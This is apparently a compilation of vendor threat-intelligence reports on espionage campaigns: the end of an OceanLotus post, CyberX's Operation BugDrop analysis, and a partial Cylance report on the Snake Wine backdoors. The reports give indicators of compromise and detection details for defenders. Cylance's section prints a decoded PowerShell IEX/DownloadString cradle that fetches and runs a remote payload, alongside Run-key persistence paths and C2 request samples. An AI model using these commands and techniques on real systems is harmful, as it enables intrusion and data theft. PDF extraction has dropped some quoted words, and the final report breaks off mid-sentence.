+of targets takes an incredible amount of resources, time, manpower and motivation. This combination is likely to be
+more common among nation-state actors. While the are many rumours and speculations circulating in the InfoSec
+community, at the time of writing, there was no publicly available evidence that can confirm that the OceanLotus
+Group is a nation-state threat actor.
+Until such evidence is made public, we will leave it to our readers to judge for themselves.
+To be continued 
+ Meow.
+advanced persistent threat, APT, Cobalt Strike, Cybereason, Cybereason Labs, DLL hijacking, DNS Tunneling,
+fileless malware, OceanLotus Group, Operation Cobalt Kitty, Powershell
+Check out more research from Cybereason Labs
+ See all lab blog posts
+14/14
+Operation BugDrop: CyberX Discovers Large-Scale CyberReconnaissance Operation Targeting Ukrainian Organizations
+cyberx-labs.com/en/blog/operation-bugdrop-cyberx-discovers-large-scale-cyber-reconnaissance-operation/
+By Phil Neray
+2/15/2017
+CyberX has discovered a new, large-scale cyber-reconnaissance
+operation targeting a broad range of targets in the Ukraine.
+Because it eavesdrops on sensitive conversations by remotely
+controlling PC microphones 
+ in order to surreptitiously 
+ its
+targets 
+ and uses Dropbox to store exfiltrated data, CyberX has
+named it 
+Operation BugDrop.
+Operation BugDrop: Targets
+CyberX has confirmed at least 70 victims successfully targeted by
+the operation in a range of sectors including critical infrastructure,
+media, and scientific research. The operation seeks to capture a
+range of sensitive information from its targets including audio
+recordings of conversations, screen shots, documents and
+passwords. Unlike video recordings, which are often blocked by
+users simply placing tape over the camera lens, it is virtually
+impossible to block your computer
+s microphone without physically
+accessing and disabling the PC hardware.
+Most of the targets are located in the Ukraine, but there are also targets in Russia and a smaller number of targets
+in Saudi Arabia and Austria. Many targets are located in the self-declared separatist states of Donetsk and Luhansk,
+which have been classified as terrorist organizations by the Ukrainian government.
+Examples of Operation BugDrop targets identified by CyberX so far include:
+A company that designs remote monitoring systems for oil & gas pipeline infrastructures.
+An international organization that monitors human rights, counter-terrorism and cyberattacks on critical
+infrastructure in the Ukraine.
+An engineering company that designs electrical substations, gas distribution pipelines, and water supply
+plants.
+A scientific research institute.
+Editors of Ukrainian newspapers.
+Operation BugDrop is a well-organized operation that employs sophisticated malware and appears to be backed by
+an organization with substantial resources. In particular, the operation requires a massive back-end infrastructure to
+store, decrypt and analyze several GB per day of unstructured data that is being captured from its targets. A large
+team of human analysts is also required to manually sort through captured data and process it manually and/or with
+Big Data-like analytics.
+Initially, CyberX saw similarities between Operation BugDrop and a previous cyber-surveillance operation
+discovered by ESET in May 2016 called Operation Groundbait. However, despite some similarities in the Tactics,
+Techniques, and Procedures (TTPs) used by the hackers in both operations, Operation BugDrop
+s TTPs are
+1/11
+significantly more sophisticated than those used in the earlier operation. For example, it uses:
+Dropbox for data exfiltration, a clever approach because Dropbox traffic is typically not blocked or monitored
+by corporate firewalls.
+Reflective DLL Injection, an advanced technique for injecting malware that was also used by BlackEnergy in
+the Ukrainian grid attacks and by Duqu in the Stuxnet attacks on Iranian nuclear facilities. Reflective DLL
+Injection loads malicious code without calling the normal Windows API calls, thereby bypassing security
+verification of the code before its gets loaded into memory.
+Encrypted DLLs, thereby avoiding detection by common anti-virus and sandboxing systems because they
+unable to analyze encrypted files.
+Legitimate free web hosting sites for its command-and-control infrastructure. C&C servers are a potential
+pitfall for attackers as investigators can often identify attackers using registration details for the C&C server
+obtained via freely-available tools such as whois and PassiveTotal. Free web hosting sites, on the other
+hand, require little or no registration information. Operation BugDrop uses a free web hosting site to store the
+core malware module that gets downloaded to infected victims. In comparison, the Groundbait attackers
+registered and paid for their own malicious domains and IP addressees.
+Operation BugDrop infects its victims using targeted email phishing attacks and malicious macros embedded in
+Microsoft Office attachments. It also uses clever social engineering to trick users into enabling macros if they aren
+already enabled.
+How CyberX Investigated Operation BugDrop
+CyberX
+s Threat Intelligence Research team initially discovered Operation BugDrop malware in the wild. The team
+then reverse-engineered the code to analyze its various components (decoy documents used in phishing attacks,
+droppers, main module, microphone module, etc.) and how the malware communicates with its C&C servers. The
+team also needed to reverse-engineer exactly how the malware generates its encryption keys.
+Distribution of Targets by Geography
+2/11
+Compilation Dates
+The modules were compiled about a month after ESET announced the existence of Operation Groundbait. If the
+two operations are indeed related, this might indicate the group decided it needed to change its TTPs to avoid
+detection.
+Technical Details
+3/11
+High-level view of malware architecture
+1. Infection Method
+Users are targeted via specially crafted phishing emails and prompted to open a Microsoft Word decoy
+document containing malicious macros.
+If macros are disabled, users are presented with a dialog box (below) prompting them to enable macros. The
+dialog box is well designed and appears to be an authentic Microsoft Office message.
+4/11
+Russian text in dialog box: 
+Office. 
+This is translated as: 
+Attention! The file was created in a newer version of Microsoft Office programs.
+You must enable macros to correctly display the contents of a document.
+Based on the document metadata, the language in which the list is written is Ukrainian, but the original
+language of the document is Russian.
+The creator of the decoy document creator is named 
+Siada.
+Last modified date is 2016-12-22 10:37:00
+5/11
+The document itself (below) shows a list of military personnel with personal details such as birthdate and
+address:
+Decoy document with personal information about military personnel
+2. Main Downloader
+The main downloader is extracted from the decoy document via a malicious VB script that runs it from the
+temp folder.
+The downloader has low detection rates (detected by only 4 out of 54 AV products).
+3. Dropper 
+ Stage 0
+The icon for the downloader EXE was copied from a Russian social media site
+(http://sevastopol.su/world.php?id=90195).
+The icon itself is a meme that jokes about Ukrainians (http://s017.radikal.ru/i424/1609/83/0c3a23de7967.jpg).
+Dropper icon
+6/11
+Russian social media site from where icon for dropper EXE was obtained
+The dropper has 2 DLLs stored in its resources; they are XOR
+ed in such way that the current byte is XOR
+with the previous byte.
+This technique is much better than just plain XOR because it results in a byte distribution that doesn
+t look
+like a normal Portable Executable (PE) file loader. This helps obfuscate the file so that it will not be detected
+by anti-virus systems.
+The DLLs are extracted into the app data folder:
+%USERPROFILE%\AppData\Roaming\Microsoft\VSA\.nlp 
+ Stage 1
+%USERPROFILE%\AppData\Roaming\Microsoft\Protect\.nlp.hist 
+ Stage 2
+The first stage is executed and the DLL is loaded using Reflective DLL Injection.
+4. Dropper 
+ Stage 1 
+ Achieving Persistency
+Internal name: loadCryptRunner.dll
+Compiled: Mon Dec 12 10:09:15 2016
+7/11
+Responsible for persistency and executing the downloader DLL, the Stage 1 Dropper registers itself in the
+registry under the key:
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\drvpath
+RUNDLL32 
+%USERPROFILE%\AppData\Roaming\Microsoft\VSA\klnihw22.nlp
+, RUNNER
+The communication DLL is also loaded using Reflective DLL Injection.
+5. Dropper 
+ Stage 2 
+ Downloader for Main Module
+Internal name: esmina.dll
+Compiled: Mon Oct 10 14:47:28 2016
+The main purpose of this DLL is to download the main module
+The main module is hosted on a free web hosting site with the following URL:
+windows-problem-reporting.site88.net [Note: Do not visit this malicious site.]
+We were unable to find any information about this URL in public data sources.
+Attempting to directly access the URL leads to an 
+HTTP/1.1 404 Not Found
+ message.
+It appear as if downloading the module requires manual approval, indicating the need for a human analyst or
+handler in the loop.
+The main module is then downloaded and loaded into memory using Reflective DLL Injection.
+6. Main Module
+The main module downloads the various data-stealing plugins assigned to each victim, and executes them.
+It also collects locally-stored stolen data and uploads it to Dropbox.
+The main module incorporates a number of anti-Reverse Engineering (RE) techniques:
+Checks if a debugger is present.
+Checks if process is running in a virtualized environment.
+Checks if ProcessExplorer is running. ProcessExplorer is used to identify malware hiding inside a
+legitimate process as
+a DLL, which occurs as a result of DLL injection.
+Checks to see if WireShark is running. WireShark can be used to identify malicious traffic originating
+on your computer.
+It registers itself in the registry under the key:
+HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\hlpAsist
+RUNDLL32 
+%USERPROFILE%\AppData\Roaming\Microsoft\MSDN\iodonk18.dll
+, IDLE
+7. Dropbox Mechanisms
+8/11
+There are 3 directories on the server:
+obx 
+ Contains modules used by the main module
+ibx 
+ Contains exfiltrated output uploaded by the plugins
+rbx- Contains basic information about the connected client
+After the stored data is retrieved by the attackers, it is deleted from the Dropbox account.
+The Dropbox user that registered the account has the following details:
+Name: P*****
+Email: P********@mail.ru
+8. Encryption Mechanisms
+The data-stealing plugins store all their output in: %USERPROFILE%\AppData\Roaming\Media
+Before being sent to Dropbox by the main module, the files are encrypted with Blowfish.
+The Blowfish encryption key is the client ID.
+9. Data-Stealing Plugins
+File Collector: Searches for variety of file types that are stored locally or on shared drives (including doc,
+docx, xls, xlsx, ppt, pptx, pdf, zip, rar, db, txt) . Files are uploaded on-demand.
+USB File Collector: Searches for variety of file types on USB drives (including doc, docx, xls, xlsx, ppt, pptx,
+pdf, zip, rar, db, txt).
+Browser Data Collector: Used to steal passwords and other sensitive information stored in browsers.
+Microphone: Captures audio conversations.
+Computer Info Collector: Collects data about the client such as Windows OS version, computer name, user
+name, IP address, MAC address, antivirus software, etc.
+Not all of the plugins are downloaded to every target. Each module has a unique extension which is the client ID.
+This is how the main module knows which modules should be downloaded to a particular target.
+Conclusions
+1) Operation BugDrop was a cyber-reconnaissance mission; its goal was to gather intelligence about targets in
+various domains including critical infrastructure, media, and scientific research. We have no evidence that any
+damage or harm has occurred from this operation, however identifying, locating and performing reconnaissance on
+targets is usually the first phase of operations with broader objectives.
+2) Skilled hackers with substantial financial resources carried out Operation BugDrop. Given the amount of data
+analysis that needed to be done on daily basis, we believe BugDrop was heavily staffed. Given the sophistication of
+the code and how well the operation was executed, we have concluded that those carrying it out have previous field
+experience. While we are comfortable assigning nation-state level capabilities to this operation, we have no forensic
+evidence that links BugDrop to a specific nation-state or group. 
+Attribution
+ is notoriously difficult, with the added
+difficulty that skilled hackers can easily fake clues or evidence to throw people off their tail.
+3) Private and public sector organizations need to continuously monitor their IT and OT networks for anomalous
+activities indicating they
+ve been compromised. Fortunately, new algorithmic technologies like behavioral analytics
+are now available to rapidly identify unusual or unauthorized activities with minimal false positives, especially when
+9/11
+combined with actionable threat intelligence. Organizations also need deep forensics to identify the scope and
+impact of a breach, as well as an enterprise-wide incident response plan that can be carried out quickly and at scale.
+Appendix
+Hashes (SHA-256)
+Decoy Document:
+997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a
+Dropper:
+f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd
+Plugins
+Screenshot Collector:
+7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe
+dc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326
+7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92a
+Keylogger:
+fc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67
+943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539
+bbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78
+6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937
+01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f
+File Collector
+06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc
+daf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54
+24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6
+a65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c
+USB File Collector:
+a47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2
+07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29
+3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000
+Browser Data Collector:
+fb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1
+966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d
+296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c
+61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166
+cae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d
+a0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75
+Microphone:
+1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50
+912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db
+691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6
+Computer Info Collector:
+c9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7
+10/11
+5383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e
+d96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311
+11/11
+The Deception Project: A New Japanese-Centric Threat
+cylance.com /en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
+In an effort to expose a common problem we see happening in the industry, Cylance
+ would like to shed some light on just how easy it is to fake attribution. The key factor we should
+focus on, as an industry, is determining HOW an attacker can take down an organization, rather than focusing only on the WHO.
+Once we can identify how the attack happened, we can focus on what
+s really important 
+ prevention.
+Background
+While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to
+exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the
+malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group
+s backdoors. Cylance tracks this
+threat group internally as 
+Snake Wine
+We found the infrastructure to be significantly larger than documented at the link above. Cylance believes some of the steps taken by the attacker could possibly be an attempt at a larger
+disinformation campaign based upon some of the older infrastructure that would link it to a well-known CN-APT group. Nearly all of the initial data in this case was gathered from delving
+further into the domains hosted by 
+It Itch.
+ South Korea
+s National Intelligence Service (NIS) previously leveraged It Itch
+s services, as documented by Citizen Lab in this post. A number of
+the samples were signed using the leaked code-signing certificate from the Hacking Team breach.
+Propagation and Targeting
+To date, all observed attacks were the result of spear phishing attempts against the victim organizations. The latest batch used well-crafted LNK files contained within similarly named
+password-protected ZIP files. The LNK files, when opened, would execute a PowerShell command via 
+cmd.exe /c
+ to download and execute an additional payload. The attackers
+appeared to prefer the Google URL shortening service 
+goog.gl,
+ however, this could easily change as the attacks evolve.
+powershell.exe -nop 
+w hidden -exec bypass -enc
+JAAyAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGUAeABlAGMAIABiAHkAcABhAHMAcwAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAB
+Figure 1: Encoded PowerShell Cmdlet Contained Within the LNK File
+$2='-nop -w hidden -exec bypass -c "IEX (New-Object
+System.Net.Webclient).DownloadString(''https://goo(dot)gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 =
+$env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "&
+powershell $2";}
+Figure 2: Decoded PowerShell Snippet
+The shortened URL connected to 'hxxxp://koala (dot) acsocietyy (dot) com/acc/image/20170112001 (dot) jpg.' This file was in fact another piece of PowerShell code modified from
+PowerSploit'. That file opens a decoy document and executes an approximately 60kb chunk of position independent shellcode. The shellcode upon further decoding and analysis is
+nearly identical to what Cylance calls 
+The Ham Backdoor
+ below. This particular variant of the backdoor references itself internally as version 
+1.6.4
+ and beaconed to 
+gavin (dot) ccfchrist
+(dot) com.
+The move to a shellcode-based backdoor was presumably done to decrease overall AV detection and enable deployment via a wider array of methods. A public report released
+here documented a similar case in which several universities were targeted by an email purporting to be from The Japanese Society for the Promotion of Science 
+jsps (dot) go (dot) jp
+regarding the need to renew grant funding. The website 
+koala (dot) asocietyy (dot) com
+ was also used to host the following PowerShell payloads:
+ ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 20170112003.jpg
+ 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 20170112002.jpg
+ 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 20170112007.jpg
+ 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 20170112005.jpg
+ 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 20170112.jpg
+ 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b671029720170112001.jpg
+ 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d20170112006.jpg
+ f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b 20170112008.jpg
+ 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 20170112004.jpg
+The payloads contained within each PowerShell script beaconed to the same domain name, with the exception of 
+20170112008.jpg
+, which beaconed to 
+hamiltion (dot) catholicmmb (dot)
+com.
+Earlier attempts used EXE
+s disguised with Microsoft Word document icons and DOCX files within a similarly named ZIP file as documented by JPCERT. Cylance has observed the
+following ZIP files which contained a similarly named executable:
+).zip
+ 2016
+1025.zip
+.zip
+.zip
+.zip
+.zip
+.zip
+Malware
+The Ham Backdoor
+The Ham Backdoor functions primarily as a modular platform, which provides the attacker with the ability to directly download additional modules and execute them in memory from the
+command and control (C2) server. The backdoor was programmed in C++ and compiled using Visual Studio 2015. The modules that Cylance has observed so far provided the ability to:
+ Upload specific files to the C2
+ Download a file to the infected machine
+ Load and execute a DLL payload
+ List running processes and services
+ Execute a shell command
+ Add an additional layer of AES encryption to the network protocol
+ Search for a keyword in files
+Legacy AV appears to have fairly good coverage for most of the samples; however, minor changes in newer samples have considerably lower detection rates. JPCERT calls this backdoor
+ChChes
+ for cross-reference. The malware employs a number of techniques for obfuscation, such as stack construction of variables and data, various XOR encodings and data reordering
+schemes, and some anti-analysis techniques. Perhaps the most interesting of these, and the one we
+ve chosen to key on from a detection perspective, is the following bit of assembly
+which was the final component in decoding a large encoded block of code:
+lea edx, [esi+edi]
+mov edi, [ebp+var_4]
+mov cl, [ecx+edx]
+xor cl, [eax+edi]
+inc eax
+mov edi, [ebp+arg_8]
+mov [edx], cl
+mov ecx, [ebp+arg_0]
+cmp eax, ebx
+This snippet in the analyzed samples used a fixed size XOR key usually 0x66 bytes long but would sequentially XOR every byte by each value of the key. This effectively results in a
+single byte XOR by the end of the operation. This operation made little sense in comparison to the other more complicated reordering and longer XOR encodings used prior to this
+mechanism. Cylance only found two variants to this code-block, however, that could be easily modified by the attacker in the future. The code also makes extensive use of the multi-byte
+NOP operation prefixed by 0x0F1F. These operations present somewhat of a problem for older disassemblers such as the original Ollydbg, but are trivially patched.
+The network protocol of the backdoor is well described by JPCERT, but Cylance has taken the liberty to clean up their original python snippet, which was provided for decoding the cookie
+values:
+import hashlib
+from Crypto.Cipher import ARC4
+def network_decode(cookie_data):
+data_list = cookie_data.split (';')
+dec = []
+for i in range(len(data_list)):
+tmp = data_list[i]
+pos = tmp.find("=")
+key = tmp[0:pos]
+val = tmp[pos:]
+md5 = hashlib.md5()
+md5.update(key)
+rc4key = md5.hexdigest()[8:24]
+rc4 = ARC4.new(rc4key)
+dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
+print ("[*] decoded:" + "" .join (dec))
+Figure 3: Cleaned Script Originally by JPCERT
+As noted in the JPCERT report, Cylance also found that in most cases of successful infection, one of the earliest modules downloaded onto the system added an additional layer of AES
+communication to the traffic. The backdoor would also issue anomalous HTTP requests with the method 
+ in the event that the C2 server did not respond appropriately to the initial
+request.
+An example request is shown below:
+ST /2C/H.htm HTTP/1.1
+Cookie: uQ=[REDACTED];omWwFSA=hw4biTXvqd%2FhK2TIyoLYj1%2FShw6MhEGHlWurHsUyekeuunmop4kZ;Tgnfm5E=RPBaxi%2Bf4B2r6CTd9jh5u3AHOwuyVaJeuw%3D%3D
+Accept: */*
+User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET
+CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
+Host: kawasaki.unhamj(dot)com
+Content-Length: 0
+Connection: Keep-Alive
+Cache-Control: no-cache
+Figure 4: Example Request Using the 
+ Method
+The majority of the Ham Backdoors found to date have all been signed using the stolen and leaked Hacking Team code-signing certificate.
+HT Srl
+ Certificate Details:
+Status: Revoked
+Issuer: VeriSign Class 3 Code Signing 2010 CA
+Valid: 1:00 AM 8/5/2011 to 12:59 AM 8/5/2012
+Thumbprint: B366DBE8B3E81915CA5C5170C65DCAD8348B11F0
+Serial Number: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9
+Why the attackers chose to use this expired certificate to sign their malware samples is unknown. The malware itself bears little resemblance to previous hacking team implants and was
+likely done purely as an attempt to throw off attribution. The only observed persistence method to date is the use of the standard Windows Run key
+SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+ under either a user
+s hive or HKLM. Cylance found that the following three full file paths were commonly used by this particular
+backdoor:
+ %AppData%\Reader.exe
+ %AppData%\Notron.exe
+ %AppData%\SCSI_Initiarot.exe
+Cylance also identified an earlier sample, which took advantage of a self-extracting RAR and a side loading vulnerability in the legitimate Microsoft Resource Compiler, 
+RC.exe.
+ RC.exe
+will load the DLL 
+RCDLL.dll
+ via its import table. This modified DLL was responsible for XOR decoding and mapping the shellcode version of the Ham Backdoor. This particular sample
+was stored in a file called 
+RC.cfg
+, which was encoded using a single byte XOR against the key of 0x54. It appears that this version was only used in early campaigns, as the latest
+referenced backdoor version Cylance identified was 
+v1.2.2.
+Tofu Backdoor
+Based upon Cylance
+s observations, the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor. It is a proxy-aware, fully-featured backdoor programmed in C++ and
+compiled using Visual Studio 2015. The Tofu backdoor makes extensive use of threading to perform individual tasks within the code. It communicates with its C2 server through HTTP
+over nonstandard TCP ports, and will send encoded information containing basic system information back, including hostname, username, and operating system within the content of the
+POST.
+POST /586E32A1FFFFFFFF.aspx HTTP/1.1
+Accept: */*
+Cookies: Sym1.0: 0
+,Sym2.0: 0
+,Sym3.0: 61456
+,Sym4.0: 1
+Host: area.wthelpdesk.com:443
+Content-Length: 39
+Connection: Keep-Alive
+Cache-Control: no-cache
+Figure 5: Example POST Request From the Tofu Backdoor
+Although communication took place on TCP port 443, none of the traffic was encrypted and the custom cookies 
+Sym1.0
+Sym4.0
+ can be used to easily identify the backdoor in network
+traffic. The backdoor has the ability to enumerate processor, memory, drive, and volume information, execute commands directly from the attacker, enumerate and remove files and
+folders, and upload and download files. Commands were sent by the C2 and processed by the backdoor in the form of encoded DWORDs, each correspondeding to a particular action
+listed above. Tofu may also create two different bi-directional named pipes on the system 
+\\.\pipe\1[12345678]
+ and 
+\\.\pipe\2[12345678]
+ which could be accessed via other compromised
+machines on the internal network.
+During an active investigation, the file was found at 
+%AppData%\iSCSI_Initiarot.exe
+. This path was confirmed as a static location in the code that the backdoor would use to copy itself. A
+static Run key was also used by the backdoor to establish persistence on the victim machine (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft iSCSI Initiator).
+All of the samples Cylance identified were compiled in November 2016, so these backdoors may have simply been tests as later samples moved back to the shellcode-based Ham
+Backdoors. The backdoors were also similarly signed using the same stolen code-signing certificate from 
+HT Srl.
+C2 Infrastructure
+Cylance found that at least half of the infrastructure associated with The Deception Project appeared to be dark or at least unused. This suggests that the Snake Wine group will likely
+continue to escalate their activity and persistently target both private and government entities within Japan.
+Cylance also found an extensive network of Dynamic DNS (DDNS) domains registered via multiple free providers was likely being used by the same group. However, Cylance was unable
+to identify any current samples which communicated with this infrastructure, and have subsequently separated this activity from the rest of the attacker
+s infrastructure. Many of the DDNS
+domains were concocted to mimic legitimate windows update domains such as 
+download.windowsupdate(dot)com
+ipv4.windowsupdate(dot)com
+, and 
+v4.windowsupdate(dot)com
+Domain Registration Information:
+8/19/16
+8/19/16
+8/19/16
+9/6/16
+9/6/16
+9/12/16
+9/12/16
+9/12/16
+11/3/16
+11/3/16
+11/3/16
+11/4/16
+11/4/16
+12/6/16
+12/6/16
+12/7/16
+12/7/16
+12/7/16
+12/7/16
+12/7/16
+12/8/16
+12/8/16
+12/8/16
+12/8/16
+12/8/16
+12/11/16
+12/12/16
+12/12/16
+12/12/16
+12/13/16
+12/13/16
+12/13/16
+12/20/16
+12/21/16
+12/26/16
+12/27/16
+12/27/16
+12/27/16
+2/9/17
+2/14/2017
+wchildress(dot)com
+poulsenv(dot)com
+toshste(dot)com
+shenajou(dot)com
+ixrayeye(dot)com
+wthelpdesk(dot)com
+bdoncloud(dot)com
+belowto(dot)com
+incloud-go(dot)com
+unhamj(dot)com
+cloud-maste(dot)com
+cloud-kingl(dot)com
+incloud-obert(dot)com
+fftpoor(dot)com
+ccfchrist(dot)com
+catholicmmb(dot)com
+usffunicef(dot)com
+cwiinatonal(dot)com
+tffghelth(dot)com
+acsocietyy(dot)com
+tokyo-gojp(dot)com
+salvaiona(dot)com
+osaka-jpgo(dot)com
+tyoto-go-jp(dot)com
+fastmail2(dot)com
+wcwname(dot)com
+dedgesuite(dot)net
+wdsupdates(dot)com
+nsatcdns(dot)com
+vscue(dot)com
+sindeali(dot)com
+vmmini(dot)com
+u-tokyo-ac-jp(dot)com
+meiji-ac-jp(dot)com
+jica-go-jp(dot)bike
+mofa-go-jp(dot)com
+jimin-jp(dot)biz
+jica-go-jp(dot)biz
+jpcert(dot)org
+ijica(dot)in
+abellonav.poulsen(at)yandex.com
+abellonav.poulsen(at)yandex.com
+toshsteffensen2(at)yandex.com
+ShenaJouellette(at)india.com
+BettyWBatts(at)india.com
+ArmandOValcala(at)india.com
+GloriaRPaige(at)india.com
+RobertoRivera(at)india.com
+RufinaRWebb(at)india.com
+JuanitaRDunham(at)india.com
+MeganFDelgado(at)india.com
+ElisabethBGreen(at)india.com
+RobertJButler(at)india.com
+SteveCBrown(at)india.com
+WenonaTMcMurray(at)india.com
+EmilyGLessard(at)india.com
+MarisaKParr(at)india.com
+RobertMKnight(at)india.com
+NathanABecker(at)india.com
+PearlJBrown(at)india.com
+VeraTPerkins(at)india.com
+DeborahAStutler(at)india.com
+JudithAMartel(at)india.com
+AletaFNowak(at)india.com
+ClementBCarico(at)india.com
+CynthiaRNickerson(at)india.com
+KatherineKTaggart(at)india.com
+GordonESlavin(at)india.com
+SarahNBosch(at)india.com
+ChrisTDawkins(at)india.com
+DonnaJMcCray(at)india.com
+RaymondRKimbrell(at)india.com
+LynnJOwens(at)india.com
+PearlJPoole(at)india.com
+AliceCLopez(at)india.com
+AngelaJBirkholz(at)india.com
+EsmeraldaTYates(at)india.com
+RonaldSFreeman(at)india.com
+GinaKPiller(at)india.com
+DarrenMCrow(at)india.com
+2/17/2017
+2/17/2017
+2/17/2017
+chibashiri(dot)com
+essashi(dot)com
+urearapetsu(dot)com
+WitaTBiles(at)india.com
+CarlosBPierson(at)india.com
+IvoryDStallcup(at)india.com
+Full Domain List:
+area.wthelpdesk(dot)com
+cdn.incloud-go(dot)com
+center.shenajou(dot)com
+commissioner.shenajou(dot)com
+development.shenajou(dot)com
+dick.ccfchrist(dot)com
+document.shenajou(dot)com
+download.windowsupdate.dedgesuite(dot)net
+edgar.ccfchrist(dot)com
+ewe.toshste(dot)com
+fabian.ccfchrist(dot)com
+flea.poulsenv(dot)com
+foal.wchildress(dot)com
+fukuoka.cloud-maste(dot)com
+gavin.ccfchrist(dot)com
+glicense.shenajou(dot)com
+hamiltion.catholicmmb(dot)com
+hukuoka.cloud-maste(dot)com
+images.tyoto-go-jp(dot)com
+interpreter.shenajou(dot)com
+james.tffghelth(dot)com
+kawasaki.cloud-maste(dot)com
+kawasaki.unhamj(dot)com
+kennedy.tffghelth(dot)com
+lennon.fftpoor(dot)com
+license.shenajou(dot)com
+lion.wchildress(dot)com
+lizard.poulsenv(dot)com
+malcolm.fftpoor(dot)com
+ms.ecc.u-tokyo-ac-jp(dot)com
+msn.incloud-go(dot)com
+sakai.unhamj(dot)com
+sappore.cloud-maste(dot)com
+sapporo.cloud-maste(dot)com
+scorpion.poulsenv(dot)com
+shrimp.bdoncloud(dot)com
+sindeali(dot)com
+style.u-tokyo-ac-jp(dot)com
+trout.belowto(dot)com
+ukuoka.cloud-maste(dot)com
+v4.windowsupdate.dedgesuite(dot)net
+vmmini(dot)com
+whale.toshste(dot)com
+windowsupdate.dedgesuite(dot)net
+windowsupdate.wcwname(dot)com
+www.cloud-maste(dot)com
+www.foal.wchildress(dot)com
+www.fukuoka.cloud-maste(dot)com
+www.incloud-go(dot)com
+www.kawasaki.cloud-maste(dot)com
+www.kawasaki.unhamj(dot)com
+www.lion.wchildress(dot)com
+www.msn.incloud-go(dot)com
+www.sakai.unhamj(dot)com
+www.sapporo.cloud-maste(dot)com
+www.unhamj(dot)com
+www.ut-portal-u-tokyo-ac-jp.tyoto-go-jp(dot)com
+www.vmmini(dot)com
+www.wchildress(dot)com
+www.yahoo.incloud-go(dot)com
+yahoo.incloud-go(dot)com
+zebra.bdoncloud(dot)com
+zebra.incloud-go(dot)com
+zebra.wthelpdesk(dot)com
+IP Addresses:
+107.181.160.109
+109.237.108.202
+151.101.100.73
+151.236.20.16
+158.255.208.170
+158.255.208.189
+158.255.208.61
+160.202.163.79
+160.202.163.82
+160.202.163.90
+160.202.163.91
+169.239.128.143
+185.117.88.81
+185.133.40.63
+185.141.25.33
+211.110.17.209
+31.184.198.23
+31.184.198.38
+92.242.144.2
+Anomalous IP Crossover
+One of the most perplexing aspects of tracing the infrastructure associated with this particular campaign is that it appeared to lead to a significant number of well-known 
+MenuPass
+Stone Panda
+ domains. MenuPass is a well-documented CN-APT group, whose roots go back to 2009. The group was first publicly disclosed by FireEye in this report. However, many of
+those domains were inactive for as long as two years and could have easily been re-registered by another entity looking to obfuscate attribution.
+As a result, we
